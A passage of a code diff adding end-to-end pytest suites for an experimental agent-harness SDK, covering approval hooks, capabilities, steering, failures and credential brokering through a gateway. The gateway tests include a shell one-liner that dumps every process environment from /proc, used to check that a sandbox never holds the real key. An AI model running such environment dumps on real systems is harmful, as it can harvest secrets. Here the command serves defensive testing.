Callable[..., Any], +) -> None: + """`Allow(remember=True)` must not be a flag that does nothing. + + Where a any_harness can persist a decision, the same call is not asked + twice. Where it cannot — Claude's session-scoped rules do not suppress + the next identical request, and the only mechanism that does would + blanket-accept every edit — the SDK raises instead of quietly widening + the caller's authority. + """ + calls: list[str] = [] + + async def approve(ctx: ApprovalContext) -> Decision: + calls.append(ctx.call.name) + return Allow(remember=True) + + prompt = "Write A into one.txt, then write B into two.txt, then reply DONE." + async with any_make_harness(approve=approve, writable=True) as any_harness: + requires(any_harness, "approve") + if any_harness.capabilities.remember_decisions: + await any_harness.run(prompt) + assert calls, "the first call still asks" + assert len(calls) < 2 or calls[0] != calls[1] + else: + # Same contract on every any_harness: asking for a capability that + # is not there raises, rather than doing nothing quietly. + with pytest.raises(UnsupportedError, match="remember"): + await any_harness.run(prompt) + + +async def test_a_raising_hook_denies_and_surfaces_the_error( + any_make_harness: Callable[..., Any], any_workspace: Workspace +) -> None: + """An approval gate that fails open is not a gate.""" + + async def approve(ctx: ApprovalContext) -> Decision: + raise ValueError("hook is broken") + + async with any_make_harness(approve=approve) as any_harness: + requires(any_harness, "approve") + result = await any_harness.run("Write OK into oops.txt.") + + assert not await any_workspace.exists("oops.txt") + assert result.approval_errors, "the broken hook is reported, not swallowed" + + +@pytest.mark.slow +async def test_a_hanging_hook_denies_on_timeout( + any_make_harness: Callable[..., Any], any_workspace: Workspace +) -> None: + async def approve(ctx: ApprovalContext) -> Decision: + await asyncio.sleep(3600) + return Allow() + + async with any_make_harness( + approve=approve, approval_timeout=5 + ) as any_harness: + requires(any_harness, "approve") + await any_harness.run("Write OK into hang.txt.") + + assert not await any_workspace.exists("hang.txt") + + +async def test_hook_has_no_control_verbs( + any_make_harness: Callable[..., Any], +) -> None: + """No reentrancy: the agent is blocked on this hook, so calling back into + the session would deadlock. Talking back is `Deny(reason)`; stopping is + `Deny(reason, stop=True)`.""" + probed = [] + + async def approve(ctx: ApprovalContext) -> Decision: + probed.append( + [v for v in ("run", "stream", "steer", "stop") if hasattr(ctx, v)] + ) + return Allow() + + async with any_make_harness(approve=approve) as any_harness: + requires(any_harness, "approve") + await any_harness.run("Write the word HELLO into probe.txt.") + + assert probed and all(found == [] for found in probed) + + +async def test_a_gate_is_not_an_audit_log( + any_make_harness: Callable[..., Any], any_workspace: Workspace +) -> None: + """A hook sees what the any_harness asks about — not everything that runs. + + Claude never routes read-only tools through its permission callback, so + a Read can happen without the hook hearing about it. The EVENT STREAM + sees it. Anyone treating approvals as an audit trail would be wrong, and + `capabilities.approval == "policy"` is the SDK saying so out loud. + """ + from ai.types.events import ToolStart + + seen_by_hook: list[str] = [] + + async def approve(ctx: ApprovalContext) -> Decision: + seen_by_hook.append(ctx.call.name) + return Allow() + + async with any_make_harness(approve=approve) as any_harness: + requires(any_harness, "approve") + assert any_harness.capabilities.approval == "policy" + session = any_harness.session() + turn = session.stream("Read util.py and reply with the function name.") + streamed = [e.tool_name async for e in turn if isinstance(e, ToolStart)] + + assert len(seen_by_hook) <= len(streamed), ( + "the hook can never see MORE calls than actually ran; approvals are " + + "a subset of what the event stream observes, never a superset" + ) + + +@requires_claude +async def test_allow_can_rewrite_the_call_input_where_supported( + any_workspace: Workspace, +) -> None: + """Input rewriting is real on Claude and absent on Codex; see + test_capabilities.py for the other half of this contract.""" + + async def approve(ctx: ApprovalContext) -> Decision: + if ctx.call.name == "Write": + return Allow(input={**ctx.call.input, "content": "REWRITTEN"}) + return Allow() + + async with claude_code( + workspace=any_workspace, approve=approve + ) as any_harness: + requires(any_harness, "rewrite_tool_input") + await any_harness.run("Write the word ORIGINAL into rewritten.txt.") + + assert "REWRITTEN" in await any_workspace.read_text("rewritten.txt") diff --git a/tests/harnesses/experimental/e2e/test_capabilities.py b/tests/harnesses/experimental/e2e/test_capabilities.py new file mode 100644 index 00000000..64ce7263 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_capabilities.py @@ -0,0 +1,107 @@ +"""Capability honesty: absent is advertised and raises, never silently no-ops. + +This is the rule the previous SDK learned the hard way — a permission policy +that was quietly ignored on one harness looked exactly like a policy that +worked. Every asymmetry between harnesses has to be legible here. +""" + +from __future__ import annotations + +from collections.abc import Callable +from typing import Any + +import pytest + +from ai.harnesses.experimental import ( + Allow, + ApprovalContext, + Decision, + Harness, + codex, +) +from ai.harnesses.experimental.errors import UnsupportedError +from ai.workspaces.experimental import Workspace +from tests.harnesses.experimental.conftest import requires + +pytestmark = pytest.mark.live + +CONTROL_VERBS = ("steer", "stop", "resume", "rewrite_tool_input") + + +async def test_capabilities_are_declared_before_any_turn( + harness: Harness, +) -> None: + caps = harness.capabilities + + for verb in CONTROL_VERBS: + assert isinstance(getattr(caps, verb), bool), f"{verb} must be declared" + assert caps.approval in ("all", "policy", "none") + + +async def test_every_harness_can_run_and_stream(harness: Harness) -> None: + """The floor: no harness is admitted that cannot do these.""" + assert harness.capabilities.run is True + assert harness.capabilities.stream is True + + +async def test_an_absent_capability_raises_rather_than_no_ops( + harness: Harness, +) -> None: + if harness.capabilities.steer: + pytest.skip(f"{harness.name} supports steering; nothing to assert here") + + session = harness.session() + turn = session.stream("Reply with exactly: READY") + with pytest.raises(UnsupportedError, match="steer"): + await session.steer("this harness cannot do this") + async for _ in turn: + pass + + +async def test_input_rewriting_is_refused_where_unsupported( + make_harness: Callable[..., Any], +) -> None: + """Codex's approval protocol is accept/acceptForSession/decline with no + way to rewrite a call. Asking for one must fail loudly, not be dropped.""" + + async def approve(ctx: ApprovalContext) -> Decision: + return Allow(input={**ctx.call.input, "content": "REWRITTEN"}) + + async with make_harness(approve=approve) as harness: + requires(harness, "approve") + if harness.capabilities.rewrite_tool_input: + pytest.skip(f"{harness.name} supports input rewriting") + with pytest.raises(UnsupportedError, match="rewrite"): + await harness.run("Write the word ORIGINAL into rewritten.txt.") + + +async def test_no_harness_claims_to_offer_every_tool_call( + harness: Harness, +) -> None: + """Neither harness routes read-only tools through its approval channel, + so neither may advertise "all". Claiming it would be the old lie in new + clothes: a caller would believe a gate covers calls it never sees.""" + assert harness.capabilities.approval != "all" + + +async def test_capabilities_do_not_change_after_open(harness: Harness) -> None: + before = harness.capabilities.model_dump() + await harness.run("Reply with exactly: READY") + + assert harness.capabilities.model_dump() == before + + +@pytest.mark.sandbox +@pytest.mark.parametrize("mode", ["read-only", "workspace-write"]) +async def test_codex_refuses_a_sandbox_mode_that_cannot_run_in_a_vm( + mode: str, remote_workspace: Workspace +) -> None: + """Inside a microVM codex's own sandbox (bubblewrap) cannot start. + + Measured: every command then fails, reads included, and the turn only + narrates the failure. That is a mode quietly not working, so opening + the harness refuses it instead. + """ + with pytest.raises(UnsupportedError, match=mode): + async with codex(workspace=remote_workspace, sandbox=mode): + pass diff --git a/tests/harnesses/experimental/e2e/test_control.py b/tests/harnesses/experimental/e2e/test_control.py new file mode 100644 index 00000000..6e437bc5 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_control.py @@ -0,0 +1,170 @@ +"""Steering and stopping a running agent — the reason this SDK exists. + +`agent()`-style call-and-wait APIs cannot express any of this: once the +prompt is sent you wait for whatever comes back. Here the turn is open for +writing while it runs. +""" + +from __future__ import annotations + +import asyncio +from collections.abc import Callable +from typing import Any + +import pytest + +from ai.harnesses.experimental import Allow, Harness +from ai.types.events import TextDelta, ToolStart +from ai.workspaces.experimental import Workspace +from tests.harnesses.experimental.conftest import requires + + +async def allow_everything(ctx: Any) -> Allow: + """Steering is only observable if the agent can actually act: without a + hook the harness's own policy governs, and a denied write means there is + no work in flight to redirect.""" + return Allow() + + +pytestmark = [pytest.mark.live, pytest.mark.slow] + + +async def test_steer_changes_course_mid_turn( + any_make_harness: Callable[..., Any], any_workspace: Workspace +) -> None: + async with any_make_harness( + approve=allow_everything, writable=True + ) as any_harness: + requires(any_harness, "steer") + await _steer_mid_turn(any_harness, any_workspace) + + +async def _steer_mid_turn( + any_harness: Harness, any_workspace: Workspace +) -> None: + session = any_harness.session() + + turn = session.stream( + "Create files step1.txt, step2.txt ... step40.txt, one at a time, " + + "each containing its own number. Work slowly and do not stop early." + ) + + steered = False + async for event in turn: + if isinstance(event, ToolStart) and not steered: + # The agent is demonstrably working; redirect it now. + await session.steer( + "STOP creating numbered files. Instead write the single word " + + "STEERED into steered.txt, then finish." + ) + steered = True + + assert steered, "the turn never started work, so nothing was steered" + # What is guaranteed is that the agent ACTS on the new instruction + # within the same turn. Whether it abandons the work already in flight + # is not: measured over three runs each, Claude stopped early 3/3 but + # Codex only 1/3 — twice it finished all forty files first and obeyed + # after. Asserting preemption here passes on luck. `stop()` is the verb + # that halts immediately; `steer()` redirects. + assert await any_workspace.exists("steered.txt") + assert "STEERED" in await any_workspace.read_text("steered.txt") + + +async def test_steer_is_recorded_in_the_conversation( + any_harness: Harness, +) -> None: + """A steering message is a real user message, not an invisible side + channel.""" + requires(any_harness, "steer") + session = any_harness.session() + + turn = session.stream( + "Write the numbers 1 through 2000 separated by newlines, typing them " + + "out yourself. Output nothing else." + ) + async for _ in turn: + await session.steer( + "Actually, stop counting and reply with exactly: HALTED" + ) + break + async for _ in turn: + pass + + user_text = " ".join(m.text for m in session.messages if m.role == "user") + assert "HALTED" in user_text, "steering must be visible in the transcript" + + +async def test_steer_without_an_active_turn_raises( + any_harness: Harness, +) -> None: + requires(any_harness, "steer") + session = any_harness.session() + + with pytest.raises(RuntimeError, match="no active turn"): + await session.steer("nothing is running") + + +async def test_stop_settles_the_turn_as_cancelled(any_harness: Harness) -> None: + requires(any_harness, "stop") + session = any_harness.session() + + turn = session.stream( + "Write the numbers 1 through 2000 separated by newlines, typing them " + + "out yourself. Output nothing else." + ) + async for _ in turn: + await session.stop() + break + + # stop() settles the turn: no second iteration needed, and abandoning + # the stream must not wedge the session. + assert turn.result.finish_reason == "cancelled" + + +async def test_stop_leaves_the_conversation_resumable( + any_harness: Harness, +) -> None: + """Stopping is graceful: the any_harness keeps its transcript and we + continue.""" + requires(any_harness, "stop") + session = any_harness.session() + + turn = session.stream( + "Write the numbers 1 through 2000 separated by newlines, typing them " + + "out yourself. Output nothing else." + ) + # Stop only once the agent has actually SAID something. Interrupting on + # the very first event lands before the turn is committed, and there is + # then genuinely nothing for the any_harness to remember. + async for event in turn: + if isinstance(event, TextDelta): + await session.stop() + break + + resumed = await session.run( + "What did I just ask you to write? Reply in one short sentence." + ) + assert "2000" in resumed.text or "number" in resumed.text.lower() + + +async def test_external_cancellation_still_propagates( + any_harness: Harness, +) -> None: + """`stop()` settles; asyncio.timeout raises. + + Both, unchanged — the stdlib contract is not quietly swallowed by ours. + + The prompt must genuinely outlive the deadline; "count slowly" does not, + because the model shells out and answers in seconds. + """ + session = any_harness.session() + + # Five seconds: long enough for the turn to be genuinely under way, + # short enough that no model finishes 2000 numbers inside it. A + # borderline deadline makes this test flaky, not rigorous. + with pytest.raises(TimeoutError): + async with asyncio.timeout(5): + await session.run( + "Write the numbers 1 through 2000 separated by newlines, " + + "typing them out yourself. Output nothing else." + ) diff --git a/tests/harnesses/experimental/e2e/test_failures.py b/tests/harnesses/experimental/e2e/test_failures.py new file mode 100644 index 00000000..9278ef45 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_failures.py @@ -0,0 +1,208 @@ +"""Failure modes: the pages that get written last and bite first. + +Every failure here must surface as THIS SDK's error, not the underlying +harness library's. A caller cannot be expected to catch claude-agent-sdk's +ResultError or a stray FileNotFoundError to find out that a session id was +wrong. +""" + +from __future__ import annotations + +from pathlib import Path + +import pytest + +from ai.harnesses.experimental import Harness, claude_code, codex +from ai.harnesses.experimental.errors import ( + AgentCrashedError, + HarnessClosedError, + ResumeFailedError, + TurnFailedError, + UnsupportedError, +) +from ai.workspaces.experimental import Local +from ai.workspaces.experimental.errors import WorkspaceError +from tests.harnesses.experimental.conftest import SPECS, exact, requires + +pytestmark = pytest.mark.live + +GHOST = "00000000-0000-0000-0000-000000000000" + + +async def test_adopt_unknown_session_raises_resume_failed( + any_harness: Harness, +) -> None: + requires(any_harness, "resume") + with pytest.raises(ResumeFailedError) as exc: + await any_harness.resume(GHOST) + assert GHOST in str(exc.value) + + +async def test_fork_unknown_session_raises_resume_failed( + any_harness: Harness, +) -> None: + requires(any_harness, "fork") + with pytest.raises(ResumeFailedError): + await any_harness.fork(GHOST) + + +async def test_malformed_session_id_raises_resume_failed( + any_harness: Harness, +) -> None: + requires(any_harness, "resume") + with pytest.raises(ResumeFailedError): + await any_harness.resume("not-a-uuid") + + +async def test_a_session_from_another_workspace_is_not_found( + harness_kind: str, project: Path, tmp_path_factory: pytest.TempPathFactory +) -> None: + """Sessions belong to the place they were created. + + Adopting one from a different workspace is the same failure as resuming a + ghost — and must not half-succeed by connecting first and discovering it + later. + """ + elsewhere = tmp_path_factory.mktemp("elsewhere") + + async with ( + Local(project) as first_ws, + SPECS[harness_kind](workspace=first_ws) as first, + ): + session = first.session() + await session.run("Reply with exactly: OK") + foreign_id = session.session_id + + async with ( + Local(elsewhere) as other_ws, + SPECS[harness_kind](workspace=other_ws) as other, + ): + requires(other, "resume") + with pytest.raises(ResumeFailedError): + await other.resume(foreign_id) + with pytest.raises(ResumeFailedError): + await other.fork(foreign_id) + with pytest.raises(ResumeFailedError): + await other.history(foreign_id) + + +async def test_a_failed_adopt_leaves_no_session_behind( + any_harness: Harness, +) -> None: + """A failed take-over must not register a half-connected session.""" + requires(any_harness, "resume") + before = len(await any_harness.sessions()) + + with pytest.raises(ResumeFailedError): + await any_harness.resume(GHOST) + + assert len(await any_harness.sessions()) == before + + +class _NoStdinWorkspace(Local): + """A any_workspace that can run programs but cannot write to them. + + Not a stand-in for a any_harness — it is a any_workspace whose transport is + deliberately crippled, which is the only way to exercise the refusal + path now that both real backends support duplex spawn. (Vercel Sandbox + genuinely behaved this way until `open_interactive` existed.) + """ + + kind = "no-stdin" + duplex_spawn = False + + +async def test_a_harness_refuses_a_workspace_it_cannot_drive( + project: Path, +) -> None: + """Both harnesses speak newline-delimited JSON on stdin. + + A workspace that cannot carry stdin cannot host them, and that has to fail + at open() rather than somewhere later and stranger. + """ + async with _NoStdinWorkspace(project) as crippled: + for build in (claude_code, codex): + harness = build(workspace=crippled) + with pytest.raises((UnsupportedError, WorkspaceError)) as exc: + await harness.open() + assert "workspace" in str(exc.value).lower() + assert not harness.is_open + + +async def test_history_on_a_closed_harness_raises_harness_closed( + harness_kind: str, project: Path +) -> None: + async with Local(project) as ws: + harness = SPECS[harness_kind](workspace=ws) + await harness.open() + await harness.close() + with pytest.raises(HarnessClosedError): + await harness.history(GHOST) + with pytest.raises(HarnessClosedError): + await harness.sessions() + + +async def test_a_failed_turn_raises_rather_than_returning_empty( + project: Path, +) -> None: + """A turn that failed must not look like a turn that said nothing. + + Codex reports `turn/completed` with status "failed" and an error + message. Reading only the completion and reporting "stop" turned a 401 + into an empty string with no explanation — which is exactly what it did + until this test existed. + """ + # A real endpoint that answers 401, rather than an unreachable host: + # codex retries a refused connection with a long backoff, and this is + # the failure people actually hit anyway. + unauthorized = { + "model_provider": "unauthorized", + "model_providers.unauthorized.name": "Unauthorized", + "model_providers.unauthorized.base_url": "https://ai-gateway.vercel.sh/codex/v1", + "model_providers.unauthorized.env_key": "HARNESS_SDK_NO_SUCH_KEY", + "model_providers.unauthorized.wire_api": "responses", + } + async with Local(project) as ws: + async with codex(workspace=ws, config=unauthorized) as agent: + with pytest.raises(TurnFailedError) as exc: + await agent.run("Reply with exactly: READY") + + assert str(exc.value), "the failure has to say something about why" + + +async def test_a_crash_mid_turn_is_agent_crashed_and_the_harness_survives( + harness: Harness, +) -> None: + """Thirteen places raise AgentCrashedError; none had ever been reached by a + test. Kill the CLI while it is mid-turn: the caller must get THIS + library's error, not the harness library's, and the harness must still + be closable and able to start a fresh session afterwards. + + Local only, honestly: a remote process is not ours to signal — the + adapter advertises `process_ids == []` there. + """ + import os + import signal + + from ai.types.events import TextDelta + + session = harness.session() + turn = session.stream( + "Count slowly from 1 to 400, one number per line, no commentary." + ) + pids: list[int] = [] + with pytest.raises((AgentCrashedError, TurnFailedError)) as caught: + async for event in turn: + if isinstance(event, TextDelta) and not pids: + pids = list(harness.adapter.process_ids) + assert pids, "a local harness must expose the process it owns" + for pid in pids: + os.kill(pid, signal.SIGKILL) + assert not isinstance( + caught.value, Exception + ) or caught.value.__class__.__module__.startswith( + ("ai.harnesses.experimental", "ai.workspaces.experimental") + ), f"the caller was handed {type(caught.value)!r}, not this SDK's error" + # The harness is not wedged: a fresh conversation still works. + result = await harness.run("Reply with exactly: ALIVE") + exact(result.text, "ALIVE") diff --git a/tests/harnesses/experimental/e2e/test_gateway.py b/tests/harnesses/experimental/e2e/test_gateway.py new file mode 100644 index 00000000..61b454fd --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_gateway.py @@ -0,0 +1,472 @@ +"""The gateway: a neutral record, each adapter's spelling of it, and — on a +sandbox — the credential injected at egress so the VM never holds it. + +Three kinds of test. The mapping tests are pure and fast. The live ones run +both harnesses through the gateway on this machine and in a microVM handed +nothing else. The brokering ones are the load-bearing security tests: they +read the VM's environment and process table for the real key, and try to +leave the VM for a host the policy does not allow. +""" + +from __future__ import annotations + +import os +from pathlib import Path + +import pytest + +from ai.harnesses.experimental._adapters import claude as claude_adapter +from ai.harnesses.experimental._adapters import codex as codex_adapter +from ai.workspaces.experimental import Local, VercelSandbox +from ai.workspaces.experimental._gateway import ( + KEY_VAR, + PLACEHOLDER, + Gateway, + vercel_ai_gateway, +) +from ai.workspaces.experimental._sandbox import INSTALL_HOSTS, egress_policy +from ai.workspaces.experimental.errors import ( + NotAuthenticatedError, + WorkspaceError, +) +from tests.harnesses.experimental.conftest import SPECS, exact +from tests.workspaces.experimental.conftest import ( + ENV_LOCAL, + SandboxCredentials, + sandbox_credentials, +) + +# Decided at collection, before `env_local` applies .env.local: read it too. +needs_gateway = pytest.mark.skipif( + not ENV_LOCAL.get(KEY_VAR, os.environ.get(KEY_VAR)), + reason=f"needs {KEY_VAR}", +) + + +# -- the record ---------------------------------------------------------------- + + +def test_the_record_is_a_base_url_and_a_credential_and_nothing_else() -> None: + gw = vercel_ai_gateway(api_key="k") + + assert set(Gateway.model_fields) == {"base_url", "credential"} + assert gw.host == "ai-gateway.vercel.sh" + assert gw.credential == "k" + assert not gw.is_brokered + + +def test_brokered_swaps_the_credential_for_the_placeholder_and_nothing_else() -> ( # noqa: E501 + None +): + gw = vercel_ai_gateway(api_key="k") + brokered = gw.brokered() + + assert brokered.credential == PLACEHOLDER + assert brokered.is_brokered + assert brokered.base_url == gw.base_url + assert ( + gw.credential == "k" + ), "brokered() is a copy; the original still has the key" + + +def test_the_key_can_be_supplied_instead_of_read( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setenv(KEY_VAR, "from-the-environment") + + assert vercel_ai_gateway(api_key="explicit").credential == "explicit" + assert vercel_ai_gateway().credential == "from-the-environment" + + +def test_the_base_url_can_be_overridden() -> None: + gw = vercel_ai_gateway(api_key="k", base_url="https://gw.example.com/") + + assert gw.base_url == "https://gw.example.com" + assert gw.host == "gw.example.com" + + +def test_a_missing_key_is_refused_here_rather_than_as_a_401( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.delenv(KEY_VAR, raising=False) + + with pytest.raises(NotAuthenticatedError) as caught: + vercel_ai_gateway() + + assert KEY_VAR in str(caught.value) + assert "vercel ai-gateway setup" in str(caught.value) + + +def test_the_result_is_immutable() -> None: + from pydantic import ValidationError + + with pytest.raises(ValidationError): + vercel_ai_gateway(api_key="k").credential = "other" # type: ignore[misc] + + +# -- each adapter's spelling --------------------------------------------------- + + +def test_claude_is_configured_through_the_environment() -> None: + env = claude_adapter.gateway_env(vercel_ai_gateway(api_key="k")) + + assert ( + env["ANTHROPIC_BASE_URL"] == "https://ai-gateway.vercel.sh/claude-code" + ) + assert env["ANTHROPIC_AUTH_TOKEN"] == "k" + # Not decoration: Claude Code checks this first, so a stray value here + # bypasses the gateway while everything still looks like it worked. + assert env["ANTHROPIC_API_KEY"] == "" + assert claude_adapter.gateway_env(None) == {} + + +def test_codex_config_names_a_key_the_environment_supplies() -> None: + gw = vercel_ai_gateway(api_key="k") + config = codex_adapter.gateway_config(gw) + + assert ( + config["model_providers.vercel.base_url"] + == "https://ai-gateway.vercel.sh/codex/v1" + ) + assert config["model_providers.vercel.wire_api"] == "responses" + # The config points at a variable rather than carrying the key, so the + # two halves are only correct together — and the key is in neither + # place a repo-controlled process reads config from. + assert "k" not in " ".join(config.values()) + assert ( + codex_adapter.gateway_env(gw)[config["model_providers.vercel.env_key"]] + == "k" + ) + assert ( + codex_adapter.gateway_config(None) == {} + and codex_adapter.gateway_env(None) == {} + ) + + +def test_a_brokered_gateway_spells_the_placeholder_in_both_dialects() -> None: + gw = vercel_ai_gateway(api_key="vck_the_real_key").brokered() + + assert claude_adapter.gateway_env(gw)["ANTHROPIC_AUTH_TOKEN"] == PLACEHOLDER + assert codex_adapter.gateway_env(gw)[KEY_VAR] == PLACEHOLDER + spelled = str(claude_adapter.gateway_env(gw)) + str( + codex_adapter.gateway_env(gw) + ) + assert "vck_the_real_key" not in spelled + + +def test_explicit_config_wins_over_the_gateway_key_by_key() -> None: + adapter = codex_adapter.CodexAdapter( + gateway=vercel_ai_gateway(api_key="k"), + config={"model_provider": "mine"}, + ) + + assert adapter._config["model_provider"] == "mine" + # ...without discarding the rest of what the gateway set up. + assert "model_providers.vercel.base_url" in adapter._config + + +# -- the workspace's half ------------------------------------------------------ + + +def test_a_workspace_without_a_firewall_never_claims_to_inject() -> None: + gw = vercel_ai_gateway(api_key="k") + workspace = Local(".", gateway=gw) + + assert workspace.gateway is gw + assert not workspace.injects_credentials_for(gw.host) + assert Local(".").gateway is None + + +def test_the_egress_policy_injects_at_the_gateway_host_and_nowhere_else() -> ( + None +): + gw = vercel_ai_gateway(api_key="k") + policy = egress_policy(gw, (*INSTALL_HOSTS, "example.internal")) + + assert policy.mode == "custom" + (rule,) = policy.allow[gw.host] + (transform,) = rule.transform + assert transform.headers == {"authorization": "Bearer k"} + for host in (*INSTALL_HOSTS, "example.internal"): + assert ( + policy.allow[host] == () + ), f"{host} must be reachable but never receive the key" + assert set(policy.allow) == {gw.host, *INSTALL_HOSTS, "example.internal"} + + +# -- against the real gateway -------------------------------------------------- + + +@pytest.mark.live +@needs_gateway +async def test_both_harnesses_reach_the_gateway_from_the_workspace( + harness_kind: str, project: Path +) -> None: + """Local: the gateway is the workspace's, and the harness is given + nothing — it finds where the model is on the workspace.""" + gw = vercel_ai_gateway() + + async with Local(project, gateway=gw) as workspace: + async with SPECS[harness_kind](workspace=workspace) as harness: + result = await harness.run( + "Read util.py and reply with the function name only." + ) + + exact(result.text, "add") + assert result.finish_reason == "stop" + + +@pytest.mark.live +@needs_gateway +async def test_a_gateway_on_the_harness_still_works_and_wins( + harness_kind: str, project: Path +) -> None: + gw = vercel_ai_gateway() + decoy = Gateway(base_url="https://gateway.invalid", credential="not-a-key") + + async with Local(project, gateway=decoy) as workspace: + async with SPECS[harness_kind]( + workspace=workspace, gateway=gw + ) as harness: + result = await harness.run( + "Read util.py and reply with the function name only." + ) + + exact(result.text, "add") + + +def _sandbox_creds() -> SandboxCredentials: + creds = sandbox_credentials() + if creds is None: + pytest.skip( + "needs VERCEL_TOKEN/TEAM_ID/PROJECT_ID or VERCEL_OIDC_TOKEN" + ) + return creds + + +EVERY_ENVIRON = ( + "for f in /proc/[0-9]*/environ; do " + "tr '\\0' '\\n' < \"$f\" 2>/dev/null; done; env" +) + + +@pytest.mark.live +@pytest.mark.sandbox +@pytest.mark.slow +@pytest.mark.timeout(900) +@needs_gateway +async def test_a_brokered_sandbox_answers_and_never_holds_the_key( + harness_kind: str, +) -> None: + """The load-bearing one. + + A VM created with a gateway: the harness inside it reaches a model (so the + header rewrite works through TLS for both a Node CLI and codex's binary), + and the real key appears in NO process's environment in the VM — only the + placeholder does. + """ + gw = vercel_ai_gateway() + + async with VercelSandbox( + **_sandbox_creds(), gateway=gw, execution_time_limit=900 + ) as ws: + assert ws.injects_credentials_for(gw.host) + await ws.write_text("util.py", "def add(a, b):\n return a + b\n") + # No sandbox= for codex: inside a microVM its own sandbox cannot start + # (the adapter's documented default there is danger-full-access, the + # VM being the boundary), and a tool that fails reads as a wrong answer. + async with SPECS[harness_kind](workspace=ws) as harness: + # A kept session, not run(): run() closes its conversation and with + # it the CLI process, and the process table is what we grep next. + session = harness.session() + result = await session.run( + "Read util.py and reply with the function name only." + ) + environs = await ws.exec(["sh", "-c", EVERY_ENVIRON], timeout=60) + await session.close() + + exact(result.text, "add") + assert ( + gw.credential not in environs.stdout + ), "the real key is readable inside the VM" + # ...and the placeholder IS there, which proves the grep saw the harness's + # own process rather than an empty table. + assert ( + PLACEHOLDER in environs.stdout + ), "the harness process was not handed the placeholder" + + +@pytest.mark.live +@pytest.mark.sandbox +@pytest.mark.slow +@pytest.mark.timeout(600) +@needs_gateway +async def test_a_brokered_sandbox_cannot_reach_any_other_host() -> None: + """Deny-all except the gateway and what the install needs. + + A curious agent's `curl` to the provider directly, or anywhere else, is + refused. + """ + gw = vercel_ai_gateway() + + async with VercelSandbox( + **_sandbox_creds(), gateway=gw, execution_time_limit=600 + ) as ws: + for host in ("api.anthropic.com", "api.openai.com", "example.com"): + probe = await ws.exec( + [ + "curl", + "-sS", + "-m", + "20", + "-o", + "/dev/null", + "-w", + "%{http_code}", + f"https://{host}/", + ], + timeout=60, + ) + assert probe.exit_code != 0 or probe.stdout.strip() in ( + "000", + "403", + ), ( + f"{host} was reachable from a brokered sandbox: " + f"exit {probe.exit_code}, status {probe.stdout!r}" + ) + # ...and the allowed hosts are, without any header rewrite on them. + registry = await ws.exec( + [ + "curl", + "-sS", + "-m", + "20", + "-o", + "/dev/null", + "-w", + "%{http_code}", + "https://registry.npmjs.org/", + ], + timeout=60, + ) + assert registry.exit_code == 0 and registry.stdout.strip().startswith( + ("2", "3") + ) + + +@pytest.mark.live +@pytest.mark.sandbox +@pytest.mark.slow +@pytest.mark.timeout(900) +@needs_gateway +async def test_a_wrong_injected_key_is_named_as_such(harness_kind: str) -> None: + """A placeholder in the VM plus a bad key in the firewall rule is a 401 + the CLI can do nothing about. The error must point at the key on the + host and the egress policy — not at a login in the VM.""" + wrong = Gateway( + base_url=vercel_ai_gateway().base_url, credential="vck_not_a_real_key" + ) + + async with VercelSandbox( + **_sandbox_creds(), gateway=wrong, execution_time_limit=900 + ) as ws: + async with SPECS[harness_kind](workspace=ws) as harness: + with pytest.raises(NotAuthenticatedError) as caught: + await harness.run("Reply with exactly: READY") + + message = str(caught.value) + assert "injects the credential" in message and wrong.host in message + assert KEY_VAR in message + + +@pytest.mark.live +@pytest.mark.sandbox +@pytest.mark.slow +@pytest.mark.timeout(600) +@needs_gateway +async def test_reconnecting_with_a_gateway_to_a_vm_made_without_one_is_refused() -> ( # noqa: E501 + None +): + """Egress is fixed at creation. + + Asking a plain VM to broker would put the real key in it; the workspace says + no instead. + """ + gw = vercel_ai_gateway() + + async with VercelSandbox( + **_sandbox_creds(), keep=True, execution_time_limit=600 + ) as plain: + name = plain.name + assert name is not None + try: + with pytest.raises( + WorkspaceError, match="without credential injection" + ): + async with VercelSandbox(**_sandbox_creds(), name=name, gateway=gw): + pass + finally: + async with VercelSandbox(**_sandbox_creds(), name=name, keep=False): + pass + + +@pytest.mark.live +@pytest.mark.sandbox +@pytest.mark.slow +@pytest.mark.timeout(600) +@needs_gateway +async def test_a_brokered_vm_remembers_it_across_a_reconnect() -> None: + gw = vercel_ai_gateway() + + async with VercelSandbox( + **_sandbox_creds(), gateway=gw, keep=True, execution_time_limit=600 + ) as ws: + name = ws.name + assert name is not None + try: + async with VercelSandbox( + **_sandbox_creds(), name=name, gateway=gw + ) as again: + assert again.injects_credentials_for(gw.host) + finally: + async with VercelSandbox(**_sandbox_creds(), name=name, keep=False): + pass + + +@pytest.mark.live +async def test_the_recipe_still_matches_the_published_one() -> None: + """A canary, because this recipe is a COPY of someone else's docs. + + It has already drifted once: the endpoint moved from the gateway's + bare root to /claude-code, and CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY + appeared. Nothing in the SDK could have noticed. This fails in CI + instead of in someone's 401. + """ + import html + import re + import urllib.error + import urllib.request + + url = "https://vercel.com/docs/ai-gateway/coding-agents" + try: + with urllib.request.urlopen(url, timeout=30) as response: + raw = response.read().decode("utf-8", "replace") + except (urllib.error.URLError, TimeoutError) as exc: + pytest.skip(f"cannot reach {url}: {exc}") + page = html.unescape(re.sub(r"<[^>]+>", "", raw)) + + gw = vercel_ai_gateway(api_key="k") + codex_config = codex_adapter.gateway_config(gw) + expected = [ + claude_adapter.gateway_env(gw)["ANTHROPIC_BASE_URL"], + "CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY", + codex_config["model_providers.vercel.base_url"], + f'wire_api = "{codex_config["model_providers.vercel.wire_api"]}"', + f'env_key = "{KEY_VAR}"', + ] + missing = [value for value in expected if value not in page] + + assert not missing, ( + f"the published recipe no longer mentions {missing} — " + f"check the adapters' gateway_env/gateway_config and {url}" + ) diff --git a/tests/harnesses/experimental/e2e/test_handoff.py b/tests/harnesses/experimental/e2e/test_handoff.py new file mode 100644 index 00000000..800d1226 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_handoff.py @@ -0,0 +1,231 @@ +"""Start a conversation FROM a history: the one way a conversation moves. + +Same harness on another machine, or the other harness entirely — the call +is the same: read it as `history()`, start again with `session(history=)`. +Everything here runs on both harnesses at both locations; the cross-harness +tests run both directions. +""" + +from __future__ import annotations + +from pathlib import Path +from typing import Any + +import pytest + +from 